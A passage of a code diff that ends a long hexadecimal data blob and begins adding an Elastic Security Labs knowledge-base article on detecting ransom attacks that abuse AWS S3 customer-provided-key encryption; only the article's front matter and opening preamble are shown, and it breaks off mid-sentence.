63bf45f3e06603998fc53462236f006cf46043f273bd7b8076c977291d88ff6a3f9565c79c990f4d795e44f3fb8c49be9d6beabd1df87069e1a4b403b16d87e951aaf43f138079e88a681c14632b1f3d343181e7b38de27a4371b1380c25e84fd8ce8ae4b59ce721e97d155d29474c24c061f02845d5858fbd3a0bfa1a90e9a96023f17a7f1eb6036dfe5646ba33a2c240bcbb9bd3aae568f852e15b445253f931f2338576a50300cde53239e40ab86562c5aaaf199ba5697ef3f3b1d07010919f3b0f435b7e18a678b7171e5ef9ecaeaea888be80dd474890f45ea3963bbcfce1789ddc464b8e7e4b6f9ec3d89bc985f98c71cef2457ccd7bde73bbb3d45b42d994af095f34f6c48f0d4baa603e45097b97962117b2a509dc5ad5617d7c0ed245d8889c7959f632cb5b2f8dbad57f0b162841ba5b1132a9f4144d5a0e25116393f08fb520832a37539beea6b22f575ec04ae4f02f72265da880a04ea9c63ddc5cc229f589cb9ba0f51249834a046bf83fe58b3c6be1bd5d837a7ce882e2613b2c8b2c0368450a0a18ec84fc21d7a53a214d1fe3d8bd6e7945b4508682fbd375d5ead1f30415b3bfd6c7a2b54b1e9d5bbc1f5d45614f70059a34ae430ddaaf5955d7fa6f34dcc258104be5535127763e10c694739de860f3dd500502777bde37c1ee586181b1331c2cfc56aed184fc65b373fbb63cf7f80ad69ebaff284e71d2c8807d9553330c05cae041cca3eb1c050982214933c8302d8929978b0a5c28d46bf1cfafa18acac5c8ea5383a455faf47ee0c26be7b88a5e5384df0a03945820455769cb16ddaf4bfcb59ef920280bd688b606cd433e6ff8878b6f8aacbdb70e2e3845c0819ea74307269a93b4d5f5549c29e671a0f7a6597ac02d06aa4b0822d4aa6252baee3a96da65311f63c04ac39b5fea1580fb13baec687792d499b435b90484a45ececb270d8ab2bdec08d8f34ab8b019abe9d93130cebe7057ca33b3c01ce5e205d134f4d0779e977e56076637eb8cde62baf82253426f0dc576475b840bdb5dc55681d3c81e8150868a60d2f9b590c77f82a4f83b5a0cb282ae44163544c647cee12a3e4fd40d34fcb6f0b422959c4feb07eb5556c8d3b147b19888c1aa8afc23f66b25375ebc8e2d373505902b61b9ffcba0a8072a6e2b5f83b8f957ffd7c6178f5e42e4465bb8a59c3df44841eace82a81f69a545628da8128bbc0ff4efede5e89795c4c3b1cd327006fb114db925a91d153cdbeae1b4a5440ced6ccad907f127697e51e5310a9d2e49ab14ddd89a0987836555e2384f4cacf67216f511006675b5ca3d737abc3e3bc12d45055e0944ec05652ecb84d6b1d1613f45346cfeba52b19034d2943bdedacccf871eec18f4e7618fd00f5e8b92edc04e2d1dc4ae8a741f6c676407837b88ddea2d4046ae8b3f0742702db2fbb62a2af392ebed3c6e22ad987cefa6b5bbc39c5746a933084bf42be96908d60fdd5f3b996b192f23895bb1619e3e39789c5fe32d502f435619530b54b6e665149ab9d1fcb8e07e983cf4a71c636a4584809f23d791207e08a7771324974ca0f6c67b702e879dfec17702858e09c4a898f763620f2e33a44bee919c289dc1a890bc70c961b7598a28f9cf0de78494a57a96928090c3e1ab5e2dd1cca9a9679753dce2fa648ef0c3d3b2395956c8a1b2f077ae91751516c8f06fac8c0619f5c8eb5261c49317e5159a404ee5c089e4d871a83d04be25e51974c998c3323a3a82e3251ef3abfd3bd81582b1c8b767d0e01da4fdb977a0d5d672c2d78b0c437426e5bf5202eea84b615d5e78712e766bbe16bc2d5688cf12479bd8bbf8fc76d315a612fa36d9ce9a9e017de3eef0121531d55dd4c8f8058330b9cfb535fb27413be6e698b2344b2c0d14c4878e30e93846e2524c0f1fc336440c1cb579b051b7537a5491e53d498fdc5ecb5ee65ffe53cc22d8619745c28ac2b529b7a3bfb2bc55ea981fadc8c56dd2e50eac68081d106ea62cf44a2f11811c238cb1ffb7330152d7b538112932b649c1a859d9699dce6e7e56dae0be4086184db4617f4917b06bc50c712f81b320c19f2580783f378a56a1ce2f75eb259d8bd8917be44a7987faad72d999ddfabff18e21780b380b965ae22a02da56b4ef123c7fd0bb5cf54f5c4e882e9e088c5898e68da26248bcf86612f6ea6e57c285f2d326390b337e731ca0607ea292f1a8b851c17d03cf0533b02196d84f13aabad6e14e16b29cad1da99764051f2733773bc34b2f79fd7425e414b989052face8c62e8f34c9272775a162764f5a4256e47477be523ab59e3e5b8b02a3f8c6dddeb164520b2986a9e6dad94258b21fe759797ccec06d853cf84a95a9720222157dbbe81e01e61f8de26cf5e91e831a4556976a5414ef64691d581c5d4b37a7721c9346b4a258defca203c4ac76e18fd2f4cf962d5c200f2fbaf2f5b45901c5f1af61cff2ae2ca963ecd31702e0bcddda618e2e0fa142b89cae9e10fa7bd823ee3633a913f8635bc3912bc2722b671ac7a370cbb56c20c0c122f8735d561afea91d24173b0fb5b628c0174348778a780325eb361c63c8d0c8340df925e3299a7d3d804e2ae7f084a2907f00f7a7448f7d7163047e88746e240c97a7b46056cb840bdb5dc55681d3c81e8150868a60d643f50e8d26131e8693d9cce30fc72e94ad5ece06c71d819b336bb473f6547ca546bf6bdf6ec3fde2dfff74301aaec0e2356c820620ec34c26cea3f76f5abd6a49e8954768fac8d3b27d05d313c8ebed8e6ecebb35668d7ec02b0d5f67d1c68f927ece3461da5f9b2ab364fc10dba30d2765e4eeb32dd2635955e87261bcd739f509400cfd8b63f37764ac07b6a437e6e84b8b74bd76c92cca08ea68a896a54d5fe983fce9f4b027dc371e4b278307950c4b76306e40c272b783a034f52a3d475a6846286c5d334c07595b205fb2240a32f1fd5f26b54d7c57962f67e31ec32d0c826ebf52347867923e66f490d3bacf7130296a0f6688005a3760c7834bd643229518588a61f20f0e0bcefbd64e6adb234dba526029bdeac49e097158057033195395c5cc755f8f9245e5e64fff952f14b2a9f5a0e79916aa96c5eb1bc87fcbcfaeb8ae43113a23eb2127d41c7e319746080f33cda4ead95ffe7c4c7be39a09a31060712ab7ee209625babace5b5953b65ee4fc9d31536565594f7aba950fae03a8cd25a87ee74b647454557af27fa347d500621ecd0feec19e426e2009334382cd6f2114703d2dcbed2278a7ab95e211e48a0d1c00e14bbf9378c50b087bce1745baeb3f495bee108b376bfa8cbb430fd1c3443493884f10f6796ba613dc223af880fd5f20a2c72a86d24555e23fd26c3bca1a5598db1ed1d1572b5517b1797c2de93adea5225eca73a8c33c0dc0c1265e4145d41eacdc7f73d0177f48498bbef93079b69d20b7795c8df8c0923005dee3708d3f86ffeae0637cfecf36bd159003d5f6bfae96a27e0fa36364376de9fcabf3b383d31d5651630ade78a35b43dad7add2f3a21389ccf72f822f1e46e18f03816717f921231de94097f82f6cbafeeb58483182723b3d6942f169a51871bb7255e400767b8dd49b69339c6e2ac294b405fd28f4d51193d06df5012e2a670dad235d50a4a7560ef1f375215b8d83aee539da2fafe37bab0a5c13c270f6bcf49169ee0439152168dffb5ab121ec0329aa0b38e8567ccb62fb478e7b9c5c9b512dc91570cbfb3ffe9fa95500ea580e9ff953eb5bc4f273c9d81cba9d9b1b0b2bfaf3f738360ce6850b62c1d1ba739884648d6a27cf900b647395f1baa2f7cf7397730dc738737c0fde759c1b84165a2bfaf3f738360ce6850b62c1d1ba73986cd53e7d98183c51c8a5f7a255d4de857d0882faf7135dda1f3178af8a99ca6bf1068c6663f8fb93034b2004d274c36bd01e098637babe734a5e981aa1e5f5d6dd0480f9fa29c817600a86a288197fe1706b0deecc1d21653489060688fccff0ea1bde59ca76ce25cc482450b8c5ddfd6aca00b308f62d99f9ae5b4814eee8970510e8d2384f1d85eb33ab7f1df9afbbd115adb5da3a2d2200a9229de820bd21484a8cbad26ed4b8aa14de29d5c9ff61794ddc4c932cccd80f20bff61e7272c2fc4f92cf58872e36cf0f276abb2fcfe56d6a5c307f67fbeb72206eca99d8976eb6d8c0d0390951003bd121a4525e1104a93e3094e9a93be39148d1978dbd6183d7453a5823e23ae7cec2a1eb0f14c3912b7b0820a3c135e610958718e7663a516df78c6e7b92fed53725a1963380ee42290b71a45b1a9e95278c5b36f1b3a3feacc1013a9ce21f24e35bea867e3d1dbdf41eb9d2ce0de1222e4ad53136bc8d98c5bc9fd98dd9f387ecb8f042962c05dd6b4be49876171ba73d0c12f83d949cafa3b1c442f15ce6177d9969092aed5c32919894a78c08727d1c851181ba1a9ca3c9b1851d6c5b1d3e20843fc826f84f2f422cfa994137e2b6e97d4124b50c8b0a24162ee48c02d6b0874f004db0536121136e6ccc46e633079edb89893f5ecbef2c5b251b454b14916229859c30c645ec0f970c1fbe85c6606256477fca0a15caad2eb69a22ec4401f7451ee5f04ad1e24b0fb319354ab71f35f0ddb764b88d5403aa37796e9b99db0b324dcb12fd3096976af16c8a2295a76601d9f39c16d506becc12c9a097af77a7446ba89e655bcef0da410612c4151de4386126b9e35f6057a7810b376cdadbcb94b7ccf4c6c9369350dc1239d9e2d186e1c88c5b2787718d3a0e9cbf57a018c9a4ba1f1b46320a241deb4522ca13f1bd7b5b6c9e26c630e258d927cbcf4ff1817ca7c7950d54db31cb5a8ac895b7874ef5772322d33f575a4fb3085bca4816d71e6af27ea53d52b22793a5abbe7f7b4e4fcf56246404ccde427c3b6e34d45ba0bf13318648c10f83a36aac6350c7871dc6a092626acfc34142494a1d770ba430a19f34653c68f8ff75bc0ff5ee5be6e01a7e15be82bf8c0fef6267a0e6689fa60536209631d54af81e7e3ac8d1036706b2932c8415748ca647fae0118b72027cf15d19f7de81f457e3456c6d23049857640e76582e6b6bd6eb9d3c7467f8fe538ef6c6ddeb772e51705a5a7cca115e99fb4cb0c6a524996fd8c1613c3808272b46eb92269a46265be052d28faefe75b3cd642612efd8b2625777fc966edac737a9f5c51544c9bee40bbb1fffe38ffdcb825bbf5a3d26e49323a36290484e74b8918a50b6c77329ef3ff9bf4c9371562d5a744672f4fa1e4625512a603581b0e28bd640fc7603ecc2a9f139107653edd9a04e37f9c449767e29358a8e80271ef32d3e78d6304297c2cf2b05646853c03bc4d247dfe26313d5dea59944ce5943b5a6eb67ab85a9e5dc7157a6a9b85b7f7475ba48f24024aa8d1e20c73038305d42dceaafe91fac4165c5b925cf3e9ea29ceef894a7f7a7dcc3ce4b9ca754f63bae72c9c8eefc01235fe983fce9f4b027dc371e4b27830795be9dafee12d3f0eb98b03b977a09a2cea834ecac8215a894fe26d075de87eb64345baa195e0e50a18b4835286990f8ddbfbb5f3ea14dc84aaadc54e38e9717117d7e4e8321b7bada514fecfc15314ef1ca4a21652c79e60189e7c0540bccfdef51705a5a7cca115e99fb4cb0c6a524996fd8c1613c3808272b46eb92269a46265e4ecfb1a307569bd74c06d7781f4ce0fec1d004f3fb4b6a1fadcd8f22d01adc96f0b2d612bda6c070035bd7c90b3211df72a8d5f98eef8700e405a9f1ea0f43d06e2191e62a1d30b2bbc3099f11ff8174a2e1ee7ddbd02c87163f1156224098a5b2e94eb827cfa26a7b6d41904325ddcabdedc89fdecd478ea00b5c216816c1925f459f5889735a2744c1ec460ed3c25a1cb173fd6b37e8046325a8bf4ed7de6ffa98b6ff785017cf82bede6b3f4a53cc745a562d85e5d244c785f9c995436887d0f2b10b2ab1f77692d6568feecd4d2e487b537c92412128ea60d8b536383e1f564059c418485672ac19f4a60dd23ed7d26785128f61725702724eef10b57fc0cb32765e0af560f32ff622ea308f5cb0a6855bc8f950e0fbd4fef3c5815405459ebb8dd69546853ef3c97611515baf7ffb5dd73e6b7eb22cad0e9df79a92ad42d9acddc2069e1716172d00ab5f35aa729d23d41cb4e9e8361c2e55dd1cdf7f0974b9023b023e7d677b40dfa7a65c8bde50bde3a3e29bdd8ae3817eb3fcf7111d7ea7978ef42a5c156a906b9966b524ee26ae975c09852ca3389d0e180ca4165813fa07089a27c5dea7ec5270d8cb622d340ae24b85f3ca2b1a94f65de82fae74324a62cc37c3b4ba1527664ba1667d3b073883c1ed9ffc70e8317f97f18e2917c7adb803a3591259a1451e5120afaa2f2108699d5c2c6bb74e3c2994aa6aa61afaa028d9cfa8089493d8cdfd3871e262d59461173fd0bf4d271fc7c4139d32e8f8bf9b830880067c937daca1375c5a7f038c6ac13b40c454b5cbf29443528de2302a3aefb122617d2db57fa8d8e58fd5c61c597b494d9bf6bcc3223522f863321eda74623a9f28f9313d478672a84d3ee2c491a9468d163a1b9a00da2d7693bf899ecb49b2f1add4f97b40104538b8e92187ece23b23db6d560b6cba78019c44d4304b08802f876b02f0c894abbfcb4ba94c53874f65ee59ecf00a2d86875d41730ae9b3eb997630a59bfdf8b04f75fefc36c1886bf2601e992a5b2a37eb72c1d11545a11786cc48e619c2fd1085c8bad75baa3a0df47c47e15d037ac104ecd429f18b77b9a926241efb6959f63919fe025d8b00d14521b823bb76b7f66a033f0b616d541443cdc0073fa29bece03b279eee386bb122eef1f42c1a66f378b07e5887b6b2cf603d52bb31ff1e3103e8c54138c2054da9221b95b1904bcd4fe8a5a70d14f6894b9617c5a7247d39794cc9d442b19852cc6231c2fb19f8f9e9946347c6b564d683212160f53ec3e20b2a31ad3ad927447d252921fdb41c53a09d4bd0e5d08e602c15e01d0df5f9e5731472c4218f9ad570692a1aad1bc50a71d85f4377580f1c5cc147bb9d88293f2a2f335d6cd9e37ac8d07734d7d447c11d6a7915bb78a1c690c44bf5303ef0b68a9f4d164851788a217d986d75d0a77ca91e6a78c10cbf2e2af68deb3b8a0115634a1e516e5053e285973cfb03d25ac0193639f7093e687d0ddb2b27a5aebbe188a93db26d211d56d467f154b80415b5c22df0596e8262c5beac37651863091cd339fec025383f7741d3e20bd5ef92c9f4a0c29d2d0c4a567c264705ba34ff96c155f0ee5f745a83fbc02ef0bd0e53d0bc5c4a7b70e71c13975df45dc29869e09e1222dbb0259be55aad3615b74ada97704c9a750ef97a508da0d9b1f366a0b40d49991f7d2e3e3f1ef9053ef67d219420f7a96f3c5093271621af3633b86b5260619cde516fd7d456dd921127af1402532fc587fc57420b7a6e85ce01c66bc817fd98183ba90497858912b78c152db6836680fed5c79be714ee69b4d2363b90f1f03aae869b09f6bfb5c66a195103dc4f44bf1446ecf1d7d0b209386175804972a111a5ad520e8c949177fd07b8c0d8f880bfaae4ad19ebf3a4c43ac06ac1b779c1008c60916eea3295920ebbf504cef0649ce74dc3ba917f91a6ee77b732dfcaf8f41fc577d9b74e93b3367db9e4635c84869488fb4781669ff221a1093d57eda48fd590dafee777ddbafa1c9ece02c548faf4ed6592d2b14322ea0524e81c891008dd7150fe95a5d7dd5ef743d54d65a08720a70f8264d581bbe35a42dddb5306b42ed541ece878bb4895f54693f730d9cdb41d3e32944a8b0c4323a6a1d37d2ba9f860e1cc2c145fbd23e81dd8aef41b4082f030a71ae64e728130d08eb525e3f704feb188bd9e0c96858481775a1e232ea6d7c98459be0ad1f9a651791b9df18d4ac1ec2047cb4f54820f631edd2c79833b230b9c49e40dede62534dc7521930dde3469e3388223c0ebc3847db8d0f5f35d118f7e2055ee508fcd65f0735ee9b492b9ecd2a921d0286ab119ba8419263153913852db9216a1d85a1ed605317b0fc49c774f5d45aa055ddfe0c22a5ea60c82aed10ca469b22ff4462cedf8d31b4c214db440b451038a721c440c2622ddb42c70b1a4c2a3adf3a3c78681ac24b1169861e40476c5f4b7adeb4396b0b1ffe7a2df29ede0cb34b74ecf38b4a01b02bc3df06621534d740b6d5e4d5941bbeab22f9de6451c4a7cfc4d078bf73bde92a00369aa9af4cd318b0c247c97d3446d866cc2827b9191b27368b5e4b2b11d97713fe63f91340dc0114c3c9f8874c530e23a1ef617a5f8b58ec4a4e0f24b7dc5bbee37bb9f2828a423c262c2b483e639d47c25966cd20701262c65d4e25624042fa6537f4c25582e3392c5a4084f535235e9b47cf5e755db237641872d682f5d1176fb67b3cb49e3ea7d7bbd186b710aae91b333f4e195ece3f5fa85fd29e1d863f7722e1ee3548dcb6e0dde05da7cf0b5289c7f006397661c56aeaddc2f4824ea331f1912d25a76dd4dde9677940dd98fd590dafee777ddbafa1c9ece02c548faf4ed6592d2b14322ea0524e81c89104a7272ac5c2026b43bf01ced7f7f0c2504d7a3f5e4f5fb8b7991d9bcd3a871b28ef5e47f0c85cb6264bad776c1fd1a403836af873fe5bbaaa03c592b3d6aaf6a60693f6f1ab60427f30fb5c4b9657ef54fb7130bb15149d4ea43ba28e7f92df86e3b34c7cd56abda95bf9aa64cdf1a0c7fba2d5cf37a1b9532571e88b1b62ca7c39bf6ddfa73d3c14fb5809e114290f039961fcf4412e8cd89abdbbba3e71425f828d9298c34fac5695e06fcc92feeafeeb462e8eb019341f98581f884cf029791ae247d7d8dba2013e50a56170dae6aebde57fbbe476572d897b9c3a40b1e7c4a2cc33b43b8d0671575c92459e0e47f853a5afe5b1c91570c62579b8e1c1988f9e7ad4958b730da76ca60173d2a3ee251705a5a7cca115e99fb4cb0c6a524996fd8c1613c3808272b46eb92269a46267c8d79bb282e393d90846b498b1ab9fb176fcec5a3287c458d723d9ab79b66ca18d36e9f29a0303fe00bdc5c80a3fb4fe412514c4cd907437a4b1a8c51f865ad06054a312ec96a167404ea6657d76b318283fa6d74a94f4cce6714cf0e8166fd71eb434d29d78b6dd6e67864f32f01e60cde948a8ffabcb6dc5a0bdb02c05c82af59e168106cf88f0a0f1835360b0a0ca4bb40bccf1e8c817107ba0fe43c7c3060142dd8d56d91fb18cd4cff3f1faf4295e6ecf58af6a151f9c38acad48a34045aae35e35f3bc82fb9cbf9a0c2a949bb7b08b624100cbc664e17802c194b3e7ddc1b09470f856e96da2540b9bd341c2ae17a721d77c94c33e873fa58e7acd9752ea75966821c7f3c77a3ea3f5f782bfbe7bb4c5a822a0d4b8e8a370dddd754853d8ce42449e82e962e8c6718d7e0059cf0f2e3a10808da2474d05cc1a92c557cd9dca354401321d2e85e257d8b489ca62c80941b702cd5642ed3c0d66b994878b3a4b7b904607593fae9ca7f447f76a4bf0c6c72db8a104d29ed140a1b46345fa4a47cb7c1def82914bde40a3b7cfbe55c18a4319f59125889108161cf4d2812f9bd59a39af434ad14735174fd6b2dbd38748c72a8033ede7fbfa331b504d5bd70c25d2b9d13710d0dcbba3bfdaafeb4a03f90e5ffc053cea5575de1b4b73ce8982d8a83faa6d4270941da4bf4b0202cfb9249a000839cb59493c99622530ef64b97c20fd3995f8e2103c8c926a6ff1b3b6f407e6d704e6f06fbb44999a49fe1d2e4e32486f5d5cf89eaffeb2f9b9362a740538d5e18080a566d7423f0030d4f9db4b55d2c5d356e3fd31b050366dd6bbeeb4e119bd391b26835fe8baaa7c8d472daa6762bd00bef714a99886e15d886ddb0457d1d6434a63c8349e2411c6c11518c68e518e061a1068ef6a90bde26a05a0cf438757c4393bc7a702ae864ac43fb27df44c2fb2aafd168856a16e5ca0cfd1f5318af7f72ffc02bf96f7b86f7cf6bcdbc139bb63e72b32dc2f4408486661a8564bebfaadc8179b6b60e9ea42a03b84260fc5c35c1397eff71694195b4a02b8ffa5bb83ffd5f4f9b4f2909e45712281c1f033b411ca50a5b59f6ee6176d26eaa693d5b901182ff487383fb50790d7578f8cf26f3213a96dbda3242d2aceeaaafd9c0b233b9589aab9b7d737b8b471da7631e813d7fc69553b720f2532ad84d8611df103a96abd144be088bfcb36827550f5fb22ac320de7ddd28716562634faa19f5c6d6c314a2aafa5f082f8e2a9223e6877f6ebe5f973a2c000e48d0c135a7ba4fb9c00bb8603f13667d259c736a54248041a49b3459a30b1222090a072f990bb63de16f45a74a5aa3ec7ec882f94542389e7d770edb8865adb0539925016fbe8814c4f887ff2b496a10928d8a15fd669dac02705e5069327ddc22bb6f16f6c53717728c97ab296621fb5e1d6a6edf5f716dcb2f1fe0116c0b964b4367dd91536cc801a0796a282103009b13523f292b646909037aa368e6cc607ef1eec9c57acbd9e261d9a4e112a39496ee2564c00eac8513cabb199f9ea2b4c93fa3e8f06668aadb5cfbe2169b746993dbe35f4e56a0561bb0819934a4ec01c0efdc14e09226572371f87e5e90bc73b3110bcf1b998ecb7e1f4bbfa3598613caaf557df4d75c50acfff2425dc671bd5a8e8d5a23bc41272644c86f83135e725238fe982ea5a08d38c7cf7a4e3648094a30d1dea6efa374e0e96561ccba27aede0271e19e40ea78998bb086e5144e645558b961bdcaaa0864f187166e2496ddd97bc3b9dd72e4feaad4369be0b9e6586e8be34126e24012c778f9f9d3e00ecffae178318ec337e99ecdb96cbbfae9380205d117e863a3a86afe3efdc56e00ec9bb6b978b4f00097e710564940ed587a4caae0f3385b035be635ebbb02d36328c3054006a7d60ead0fd82cba0aa6039206f552de907f374be85b80ba2ce7acbed6ebc4782f18a48a706b365b34b750cf22045d30fe8ffe659b8f41bb90a1ae888ec4d0f2d012e06d66f27bd623563c3622b861a61af93e740e6e370e127ef86b10bc53af188d12f57caddd0e0ae44e248232efde7a6c024651d056630fbe6f673820903d03959ee4cba6415d7a6edc29f4867d79352afa6943bfbc5636e50f2e16b7cba82279fe5b17eb613f667b09174735cafde39156bccd1f5d15cb8611037fbfc554349221fead0a197cd43b0273200d5c0b073ddd34b3e9d4ff6882c4df23fb17537c762fbc5e9382c3af7c0204774f031800e2a109b784a88c5566f1df1c734b283b0b85c8e7a4b8e94b594685b9633bac11a1088285e55b02e94ed4cc0b1c9da28a8c6eb02ea96368e7bf2087c5acc8e51e9603f2494549c302348e3275f71f6e715dd2973bef76519363cb2abc2831be8fedefa990d8cb27cc164d772534096b91706359929e3b3705d0c7e49c29be3291f234cebdbd44356c6be9c4a9bec7c902edd97b76eb8c24b67ab1bbf628980676b28b8af20dc15d62d8d66796f1571510c7f9d9f2173e15ecb63b03709a3bf4abe30083517252e63c7583952ac001a891372261b070d9f785bbc7b1ae25fab834840b5f718a6c7495f5b496d48c769da49249ada34f8b2ae3d8559752c1aed1abd44880283f247d6dfc46227e9da16ca80943799915729c54d665dd2ff3d14074e539d43a8651c1cad9890f309f1dd37c122fff68d01cb44fa7b1f194f57b40ac8afb0ab07f2ea3a4168aad69df9ed1bd2e8b6105a5e2d380b60a7440eb21c6ac44e213a1e9d45d15956e3b325f9ab4a1307f87819210a935314d62ba0cb710e78e5e8cd446ee23f4f98d2d76edef28df646ddf715eb97d2beb5fb4c16e0a2d2dff43fc3ff2cfae1f893b9c7331f87cf072f174f55c49aaea9cd56ff6fa4ffa9174a6d5a95da6de25d03ad990db65cb4402a6509ad81c1cd42f71f1b16b0dd624c8d7cac3c812c86474a42352362a65f559208476c8fbac2665038b92c477eb1a424c1b02caafd944463782a88b3ed070be89387e528ad78010e4ee7ca31796ae39bdaade6b810661bc7a7057a4bf3c8af78f9de77005415591eb904609e416ee8971a55f01eafa9eefc2528582fef891c5d81024a369e6cb6249179795818d95c0c52e70ae112de3f881bdd844532f9827d5ee958914e0528db70eeabe1ea4cd20b2f3fd1c29bc4bcb1ea576fb7b08d59795ca8bc51ecd9259e5fafb9c47bee469b5ef8fa723d158c3943ef038679debaeec768d3a33aabc93ba928addd69e7222317037fe8c5a50f9dfa84aaea29873394708b0bc4ee6173646fdfc0bc34748cbdb97c39976ccd45070e6d288f3b92155f65365631d7739cf59ac29d7f70e81ca6f6ce6959d3fd4e9224610c67d698e06f0d18aa3e61daffcd65d3771090d910928fd6c429f49e98428d749a14be5ac795eb5898dcb88074377b9bc124c8ccb05b970ff4837070a256ccc58d9fcfb9a2e3d0a1a2c141a42bf566672441696b4c1e5b802ceb0284a4e0b73cd69158fa0eaab73e0a523cd7ef4cea0c4213a93043e66daee09ec34eb1fb1c23b89c88df009ae2f6c3082f5949dce2eb9015a813afdc6fc960dd5452789f50ffbdd79ea57355c81b1d177986ceb21deb384200ebac0c886e1a98bac415d43a3a0c115a8cc2892bdc7d4915d0f736539af89b96bcea763551bdd82bde479f98fa1cc8ddca969dba1a98abdd0167fb2f6f2f6f95fcd438c348f614f1cd9f4a90f72a7ebc18d8235fdbfe264b1ae9699035d445490cbde117c01c7f3595f7b2e4515574fa09dacca77c176b158c89fd5f945c236ccc4adb7cee596478dc6ad1911b6ffc88f1a5c047e0fc111c49ce41990c91cbe7361e7704b5f832d0a7c6d742d4d060eee1954eaecd33a814994b7f5f66e10895008b39385a4c0e9f697138ef4bd63ebc09abb5dec559a4933af2a36ca7b0af2a25868394634dbd4352656b088bf7395c50e09c1ecb6c83587b9f56bd8b60bb657ffda2a59257a879c775dc70937a198fc76ebd08cfb98a67b4b3a5b1214d80c8c79df26293bf1f23cf973a43b698c8b1e830daa5f4137e94cc12056259d087701421ed9722f57ad2729a3a7e312789b2f42e52fd6b1026af99ea8f64af9f6327b5ed72b94e24a135288751cc9dc9a079fbbc8284fa5c395b45d08192805ca3f9e0f23a2320b30a880180ad8fe54694d2da3d3b4351e6ecb3944234ee6bcbdc2f4e84c9f2f1a426742d2570fe242c696a04fd59d6da780169095835b7ccbfeffb2dbcc7e356edbd55e90a8515c5e96a676a86e67ea02f28579ec5ecfc07d8cba48735a07bfe48a3843cd8fa2b013078d9dbf86047f5c1b1be1b2b5e0c6fde1e34e4f638afda1a75e16e3591a92097c42ea3a2220fc705cc4375acccca54c840074555976a6c0ace921f86d731a73dbbbcbbf64c8d3f66907063f6f8c6598248947cd661ce7f9ffa6cd6eae01e20d91ce5d676449f9a76b7d76994840cb461049e3b9864f26bca0b083332c31d826f3124b80b771590526eeca7fde17af791c67922bd559511475d6443363efb820c31faa0dce03abe88b08057fca80538a27b5596a23e3ef93849c03f93ae7c1c0a92acf0240a5971a1f3dd6a722edba9ed25be8aa317ecf147f9f556731e2cf98ed3aaf45f103a8c70264053fe61810eb739390a744db2def16603baab53a30b62bbd55a88d1330592ba9db1939c6cfbc67e2623d1142d1c6a2ee1af37f0d51eaa27a7561a2868e1b65690979e114090a386310c60492580391a3fa60d6c5d1a444f96fdce503918fc5530e311f4e0e7337255e1d6ade05003df4673ba19f773dc45003569bd23b7925276df193be7d1d85f6b06137a4aad748e595c50470a94c2bdb7b7a4f53cdfd3c032115e06f9fc769a9bf2b0bf39f13a30856004565d2a2445c2d0b3a2eb7dd9acfa744652c1febaaeec066bfdacd2bab14190513fc1032264a9f80f151c1a8806eba5d68b9d103ba4943e941f8d49ec98c5650a7f0ef1ad209bae397eb09ce0f905a71631701c3cb3d848196f3200a8851b88e06797bf44dff41691c781fcd3ae0e8f535d3a58e7f688a8034ab007fdf81bad0ca72cca2035b74de029bafaffd20e01cd7204e237a1f6f646674cd465f85390efad4d9ea7a67a5d29f38b0afc8881a5267c9cf0a6c654fb329cc1a29d3800b1520214a964993a1d4f95e3f40594af94b828c76f2a95d714d9cec204dcfdee9d3450b80973303ce6cd9fe98b4e2732a93a5e3e22cda63f8dbdb6decf1a5c73f9d6b91f4d9f5f8f935cf389f30a44da75a27bd28950aec18b06fd3746285a07e3a7a88dcea3527ea22e7a5f9690ed979be95c30b73849ce606e61e67ac2f9e5e58b25518eb1e8245021227a13068eec5925cacbefe84f0da71bf208de342e1a80a9c6f29d005bea431145df54b4b9adc2a2369c35c776eb1f2e66eb7960fff3f0288ac2703cb476045d3e7aea19ca6382090e134029d40f39b1f78ed284e3df2675c0ef0b42d656b511fd59641e886b1308aa470f2c0ba8659b88b580ae53db092f9e33fbe07c5d5b584fb4f22007785a678c314edeb9566894d2693117ec72b84a6e92a3b0626e216bf8c4e70477d63325b82690f5a9378c2be290c34181c0c5c331e22d5bbb94a254204af0cd45e98bc5fceebf235a7bfe901e1dcdaa9949c357ab551c3e3f37a292295d331438203cb1a798769321871b734ed9a4bafa8042c3f9a638c8212f9d3e3bfec5db678ba55160afbe51d919bcc24fa62481ef8252e6c1ff6407c840b193eff5e6a2c2ec4c4224ecf697e3caaa175a4852575848f6f31924e9c06b96b511fd59641e886b1308aa470f2c0ba8659b88b580ae53db092f9e33fbe07c56dd7a13f44c215c72ffc3c88c841462e66894d2693117ec72b84a6e92a3b062618d7fa0a82894dcfb3d1a1a7d11004bfea2e485036de396427ac7646514f6317ea29251b5f370a09a18f695d3073da8e88c60400c4139eb4a711634a00619ee7ccf45a3bb618669eecdddc752ac0d15cc8393850cfb0be5f6bb99fe3570c7ddf9e0cbae879f4371db59cef664554bac0d93e6f91414217378ae3d96454590d8a67470981378b1412b04da9773e18a59ccbe618b1242a444fbe8cb8f09c5f7f7bce612e265ca7200f9bb5508b814900cd411cbf49931fadbca2d49a9a1877bf0848ffb147c28da86016eaaf315eed9f6182c8ce553052b9f58b752a9f77af5b43d5c850e660bc2b0b7aa688669109b1a9bbb40b5fbfe761239c2864dda5969e65 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/emulating_aws_s3_sse_c.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/emulating_aws_s3_sse_c.md new file mode 100644 index 0000000000000..5d8b60063f058 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/emulating_aws_s3_sse_c.md @@ -0,0 +1,304 @@ +--- +title: "Emulating AWS S3 SSE-C Ransom for Threat Detection" +slug: "emulating-aws-s3-sse-c" +date: "2025-02-20" +subtitle: "Understanding and Detecting Ransom Using AWS S3’ SSE-C Service" +description: "In this article, we’ll explore how threat actors leverage Amazon S3’s Server-Side Encryption with Customer-Provided Keys (SSE-C) for ransom/extortion operations." +author: + - slug: terrance-dejesus +image: "Security Labs Images 11.jpg" +category: + - slug: security-research +--- + +# Preamble + +Welcome to another installment of AWS detection engineering with Elastic. You can read the previous installment on [STS AssumeRoot here](https://www.elastic.co/security-labs/exploring-aws-sts-assumeroot). + +In this article, we’ll explore how threat actors leverage Amazon S3’s Server-Side Encryption with Customer-Provided Keys (SSE-C) for ransom/extortion operations. This contemporary abuse tactic demonstrates the creative ways adversaries can exploit native cloud services to achieve their monetary goals. + +As a reader, you’ll gain insights into the inner workings of S3, SSE-C workflows, and bucket configurations. We’ll also walk through the steps of this technique, discuss best practices for securing S3 buckets, and provide actionable guidance for crafting detection logic to identify SSE-C abuse in your environment. + +This research builds on a recent 